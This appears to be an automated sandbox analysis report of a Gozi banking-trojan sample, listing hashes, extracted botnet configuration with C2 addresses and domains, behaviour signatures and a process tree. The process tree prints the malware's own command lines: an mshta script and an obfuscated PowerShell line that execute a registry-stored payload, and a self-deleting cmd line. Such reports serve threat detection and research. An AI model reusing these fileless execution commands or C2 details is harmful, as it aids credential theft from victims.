Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2023 15:44

General

  • Target

    client.exe

  • Size

    295KB

  • MD5

    de21fe50192a021dd37b67881fd332ba

  • SHA1

    44c9c72bf5cd81a82ce7870dc765095f303c7fdf

  • SHA256

    729398faa8543e0a21d46b6881a4111d9c36c05e05f6efe669286f668ac97cab

  • SHA512

    6650fe6e0f2866e442a9f753f90fc8aaf594d1d976207a94724f506d840ad6514b4c18392cbc3d51304dd2afb7fadce72f71b385899136b2e593c9fc1eda934a

  • SSDEEP

    3072:F62X2mvtkAa8QoRzUA/nAUZSuJC/w3mA8FfbJ1fzodp/jhNGY:s2XXviAa8QontJF3b8NHfzodpv

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

185.247.184.139

62.72.33.155

incontroler.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

expirew.com

whofos.com

onlinepoints.online

onlinepoints.top

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Deletes itself 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1328
    • C:\Users\Admin\AppData\Local\Temp\client.exe
      "C:\Users\Admin\AppData\Local\Temp\client.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:2328
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Bh34='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Bh34).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\4A3E94A1-2199-0CE0-FB1E-E5005F32E934\\\PlayContact'));if(!window.flag)close()</script>"
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name kxdmpjke -value gp; new-alias -name xlqfutnmp -value iex; xlqfutnmp ([System.Text.Encoding]::ASCII.GetString((kxdmpjke "HKCU:Software\AppDataLow\Software\Microsoft\4A3E94A1-2199-0CE0-FB1E-E5005F32E934").PlayChar))
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3004
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4g3ow3sb.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2828
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES452C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC452B.tmp"
            5⤵
              PID:2868
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q2mhkoj8.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2888
            • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES45B8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4598.tmp"
              5⤵
                PID:1152
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\client.exe"
          2⤵
          • Deletes itself
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1412
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:3052
        • C:\Windows\syswow64\cmd.exe
          "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
          2⤵
            PID:476

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\4g3ow3sb.dll

          Filesize

          3KB

          MD5

          bf5514b042c9cfd2b86af3640e5ffd8e

          SHA1

          74591b19af63f2db590bfcbd4aaa46d4f44c6a2e

          SHA256

          364f7c4ab01fad0855e385b434ee9c51ab712efff2c03f075f21b7d81f0b57fe

          SHA512

          4001f13fcb59cc7ffdec0972221c701f3f69cdfadb7833abbe612bac337bf9b078afa6c70e62b8a76b55af62e7fc47542e21bbe55f517c68d24f8ba85b16f965

        • C:\Users\Admin\AppData\Local\Temp\4g3ow3sb.pdb

          Filesize

          7KB

          MD5

          26b005d927449b04a8f804e5823476eb

          SHA1

          617c247011dc6c273118fc4dd07cf3127c32d979

          SHA256

          74afbaf555758bda55760e29de5d2b89a39e01e21c9898e6f074de0e63aef48a

          SHA512

          4441046021df07f3b789a3785141c2d10a7bc129e69faf35e418d2b9c6c6706f45d395920dfe571791a3c934476060e31ec7971a62098e6a69f2ed284f65285a

        • C:\Users\Admin\AppData\Local\Temp\RES452C.tmp

          Filesize

          1KB

          MD5

          95ed115cad877f5e166b98e596971088

          SHA1

          a3520bd66edf0242e7c4bc5c17ba72f6c941d0a5

          SHA256

          fa2e0c83ea0fecdaf2e27e9065f134b9bdcabe6b1c0a0404c5b73a6cdd26e74f

          SHA512

          8767a3d765465076329ba6baa54122ca2ade6f197ace2e787e09dfcfa37bd5401a00a703b67f5649163278a481ad50f219b854886c541d0c6ec08de3fa4ebea9

        • C:\Users\Admin\AppData\Local\Temp\RES45B8.tmp

          Filesize

          1KB

          MD5

          f95fbf21829d5a55e7ef04b05c9c1b77

          SHA1

          32c6fcd2d94020adb8454afa64526d69c521b846

          SHA256

          b7649dd6d93dae98e379707cc3a8bf7a70ab07b193bf5cf432cca006724fe0ee

          SHA512

          25988e88ceda129e5d313f02b7529f5802a1c53a045f3d7bc511f4622d3369e87d43e857459c50488d39acc991a9f6e0c9dfece240e075a46d5df9955d898b21

        • C:\Users\Admin\AppData\Local\Temp\q2mhkoj8.dll

          Filesize

          3KB

          MD5

          5c7089899aec21cafcc4bb806c410415

          SHA1

          a1041e8f5cdab3a9f0ce1a5a15f5641cc549c146

          SHA256

          9a7a1358d1186c90c93903a41959d204f87d674f9e5a30621c5166e41996ffee

          SHA512

          44d2fa2ede15309c8eaa8eb8dd139d163cb193060eebedb7665d26b5e30a18302fb09fac5ef314d2592efcb41cb7438e587398b481fe3638ad5de67687cada88

        • C:\Users\Admin\AppData\Local\Temp\q2mhkoj8.pdb

          Filesize

          7KB

          MD5

          ba9cb1c7d5bb5b3af3d1d327e66fc577

          SHA1

          8a43956f18f3e4dc4b3f02d0ac7cc839cc670e14

          SHA256

          b00940bfb117455fe191fe7a0859882391b9bcda5210f886ed96f4faf57f4de6

          SHA512

          2aecf324c79765c758fb263d73d0b6038b00db91660ce2cf8a1d8d31f7547202c3d3ebbdf1dec82991a5ac0892fe9c50694f8c19c393978c28b5f08262a8e55f

        • \??\c:\Users\Admin\AppData\Local\Temp\4g3ow3sb.0.cs

          Filesize

          405B

          MD5

          caed0b2e2cebaecd1db50994e0c15272

          SHA1

          5dfac9382598e0ad2e700de4f833de155c9c65fa

          SHA256

          21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

          SHA512

          86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

        • \??\c:\Users\Admin\AppData\Local\Temp\4g3ow3sb.cmdline

          Filesize

          309B

          MD5

          943538bb113d2da957a41d7b921bc789

          SHA1

          4c27fb24c06d068365dd0c64c47158a2c5f447d2

          SHA256

          9639c1a59dc83ddd08148bd0ef0c4d97c690a985bb327687db20cbb36e0cd80e

          SHA512

          4e1e9e315b8b7bd1bc7693d25b55e80b01736d99293929a6263bdf0b233d0589dbdd533d55a9e407db3c2cec7bef9234566b149eda4fc5af2717f0878e28f8dd

        • \??\c:\Users\Admin\AppData\Local\Temp\CSC452B.tmp

          Filesize

          652B

          MD5

          6b58631f5d6536edb1311439c544bb4b

          SHA1

          468b649262463ca0fcf6c3e2b7c1660a45e22dfb

          SHA256

          5cc056f61e026e15f5e0808779a8592c2434e859863bed8a3a5175e240fb7af2

          SHA512

          afc6622561b6caa1c0cf9ea37f4b3cb7548b7bf475ecb8a9ee2d8f8c4c9f9368643a5e8b68666cb7599a16d3aecddb7b16790861f8f786d2e32fa496e8970a5b

        • \??\c:\Users\Admin\AppData\Local\Temp\CSC4598.tmp

          Filesize

          652B

          MD5

          07fe6a2e6a1a23548af726249102f6e4

          SHA1

          353fa7a4bf84f180ed808cf84e9eb0ee53318d1b

          SHA256

          6b34b93dc347be619a2ef15ce56eac6751597101617b42646cdb1ff2bd3120ce

          SHA512

          7f8994b4ba29b2319aac2ba0dc9921e85484a197da7925e979cbf8a799a9f5045b12aeb3666df59fffd029991ef30d7956f73a293fa4ec8d4d47cf9c0ddd2096

        • \??\c:\Users\Admin\AppData\Local\Temp\q2mhkoj8.0.cs

          Filesize

          406B

          MD5

          ca8887eacd573690830f71efaf282712

          SHA1

          0acd4f49fc8cf6372950792402ec3aeb68569ef8

          SHA256

          568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

          SHA512

          2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

        • \??\c:\Users\Admin\AppData\Local\Temp\q2mhkoj8.cmdline

          Filesize

          309B

          MD5

          74f3b6bb73ebabe1aea6155a18074b92

          SHA1

          7715ef60e45486005b9fcf7b3c7c900329cafedb

          SHA256

          cf40fd937c1fcb259b2d2cc756325187e72552a727134f736bd64889e7790199

          SHA512

          87142a65f80e1f7704d1071570dec6dbb52053c53f1c45e9f73ddae80f76b29a3fb5267d60cfea6f4360135f8ce0f873be3890cd7b80ffe737b0ed73d511374d

        • memory/476-87-0x00000000002C0000-0x0000000000358000-memory.dmp

          Filesize

          608KB

        • memory/476-88-0x0000000000160000-0x0000000000161000-memory.dmp

          Filesize

          4KB

        • memory/476-91-0x00000000002C0000-0x0000000000358000-memory.dmp

          Filesize

          608KB

        • memory/1328-64-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

          Filesize

          4KB

        • memory/1328-92-0x0000000004130000-0x00000000041D4000-memory.dmp

          Filesize

          656KB

        • memory/1328-63-0x0000000004130000-0x00000000041D4000-memory.dmp

          Filesize

          656KB

        • memory/1412-75-0x0000000001C20000-0x0000000001CC4000-memory.dmp

          Filesize

          656KB

        • memory/1412-76-0x0000000000210000-0x0000000000211000-memory.dmp

          Filesize

          4KB

        • memory/1412-74-0x000007FFFFFD8000-0x000007FFFFFD9000-memory.dmp

          Filesize

          4KB

        • memory/1412-94-0x0000000001C20000-0x0000000001CC4000-memory.dmp

          Filesize

          656KB

        • memory/2328-1-0x0000000002330000-0x0000000002430000-memory.dmp

          Filesize

          1024KB

        • memory/2328-15-0x00000000042E0000-0x00000000042E2000-memory.dmp

          Filesize

          8KB

        • memory/2328-8-0x0000000000400000-0x0000000002290000-memory.dmp

          Filesize

          30.6MB

        • memory/2328-7-0x0000000002330000-0x0000000002430000-memory.dmp

          Filesize

          1024KB

        • memory/2328-4-0x0000000000350000-0x000000000035D000-memory.dmp

          Filesize

          52KB

        • memory/2328-3-0x0000000000220000-0x000000000022B000-memory.dmp

          Filesize

          44KB

        • memory/2328-2-0x0000000000400000-0x0000000002290000-memory.dmp

          Filesize

          30.6MB

        • memory/2828-34-0x00000000022C0000-0x0000000002340000-memory.dmp

          Filesize

          512KB

        • memory/3004-25-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

          Filesize

          9.6MB

        • memory/3004-27-0x00000000027A0000-0x0000000002820000-memory.dmp

          Filesize

          512KB

        • memory/3004-59-0x0000000002670000-0x0000000002678000-memory.dmp

          Filesize

          32KB

        • memory/3004-72-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

          Filesize

          9.6MB

        • memory/3004-73-0x0000000002710000-0x000000000274D000-memory.dmp

          Filesize

          244KB

        • memory/3004-43-0x0000000002660000-0x0000000002668000-memory.dmp

          Filesize

          32KB

        • memory/3004-28-0x00000000027A0000-0x0000000002820000-memory.dmp

          Filesize

          512KB

        • memory/3004-62-0x0000000002710000-0x000000000274D000-memory.dmp

          Filesize

          244KB

        • memory/3004-21-0x000000001B3A0000-0x000000001B682000-memory.dmp

          Filesize

          2.9MB

        • memory/3004-22-0x0000000001EC0000-0x0000000001EC8000-memory.dmp

          Filesize

          32KB

        • memory/3004-26-0x00000000027A0000-0x0000000002820000-memory.dmp

          Filesize

          512KB

        • memory/3004-24-0x00000000027A0000-0x0000000002820000-memory.dmp

          Filesize

          512KB

        • memory/3004-23-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

          Filesize

          9.6MB

        • memory/3052-83-0x0000000000090000-0x0000000000091000-memory.dmp

          Filesize

          4KB

        • memory/3052-93-0x0000000001C20000-0x0000000001CC4000-memory.dmp

          Filesize

          656KB

        • memory/3052-81-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

          Filesize

          4KB